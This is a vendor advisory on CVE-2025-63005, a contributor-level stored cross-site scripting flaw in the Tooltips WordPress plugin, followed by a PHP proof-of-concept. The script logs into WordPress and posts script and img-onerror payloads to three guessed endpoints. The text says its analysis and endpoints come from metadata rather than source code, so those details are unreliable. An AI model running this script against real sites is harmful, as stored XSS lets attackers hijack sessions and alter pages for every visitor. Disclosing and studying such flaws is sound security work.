Atomic Edge analysis of CVE-2025-63005 (metadata-based):
The Tooltips WordPress plugin version 10.8.3 contains an authenticated stored cross-site scripting vulnerability. Contributor-level or higher authenticated attackers can inject malicious scripts that persist in the WordPress database and execute when users view affected pages. The CVSS 6.4 score reflects medium severity with network accessibility, low attack complexity, and scope change impact.
Atomic Edge research identifies insufficient input sanitization and output escaping as the root cause, consistent with CWE-79 classification. The vulnerability likely exists in a plugin feature that processes user-supplied content for tooltip display. This conclusion is inferred from the CWE description and WordPress plugin patterns, not confirmed via source code analysis. The plugin appears to accept user input through administrative interfaces or content creation forms without proper validation before database storage.
Exploitation requires contributor-level WordPress authentication. Attackers would access tooltip creation or editing functionality, injecting JavaScript payloads into vulnerable fields. These payloads could target AJAX handlers like /wp-admin/admin-ajax.php with action parameters containing the plugin slug, or REST API endpoints at /wp-json/tooltips/. The stored scripts execute in victim browsers when they view pages containing the malicious tooltips.
Remediation requires implementing proper input sanitization using WordPress functions like sanitize_text_field() and wp_kses(). Output escaping functions like esc_html() and esc_attr() must secure all tooltip content rendering. The plugin should validate user capabilities before processing tooltip data and implement nonce verification for state-changing operations.
Successful exploitation enables attackers to perform actions as authenticated users, including stealing session cookies, redirecting users to malicious sites, or modifying page content. The scope change (S:C) in the CVSS vector indicates scripts can affect other application components beyond the vulnerable plugin. Attackers could deface websites, harvest sensitive data, or chain this vulnerability with other weaknesses for privilege escalation.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-63005 - Tooltips <= 10.8.3 - Authenticated (Contributor+) Stored Cross-Site Scripting
<?php
/**
* Proof of Concept for CVE-2025-63005
* Assumptions based on metadata analysis:
* 1. Plugin accepts tooltip content via POST requests
* 2. Tooltip creation/editing endpoint accessible to contributors
* 3. No adequate sanitization on tooltip content parameter
* 4. Payload stored in database and executes on page load
*/
$target_url = 'https://target-site.com'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS - Contributor account
$password = 'contributor_pass'; // CHANGE THIS
// XSS payload that executes when tooltip loads
$payload = '<script>alert(document.domain)</script>';
$payload .= '<img src=x onerror=alert("Atomic Edge XSS")>';
// Login to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_response = curl_exec($ch);
// Attempt multiple potential exploitation endpoints
$endpoints = array(
// AJAX handler pattern (most likely)
'/wp-admin/admin-ajax.php' => array(
'action' => 'tooltips_save',
'tooltip_content' => $payload,
'nonce' => '' // May be required but potentially bypassed
),
// REST API pattern
'/wp-json/tooltips/v1/tooltips' => array(
'content' => $payload,
'title' => 'Malicious Tooltip'
),
// Direct admin handler
'/wp-admin/admin-post.php' => array(
'action' => 'save_tooltip',
'tooltip_data' => $payload
)
);
foreach ($endpoints as $path => $data) {
curl_setopt($ch, CURLOPT_URL, $target_url . $path);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
$response = curl_exec($ch);
if (strpos($response, 'success') !== false ||
strpos($response, 'saved') !== false ||
curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200) {
echo "Potential success at: $pathn";
echo "Response: " . substr($response, 0, 200) . "...n";
}
}
curl_close($ch);
echo "PoC completed. Check tooltip display pages for XSS execution.n";
?>
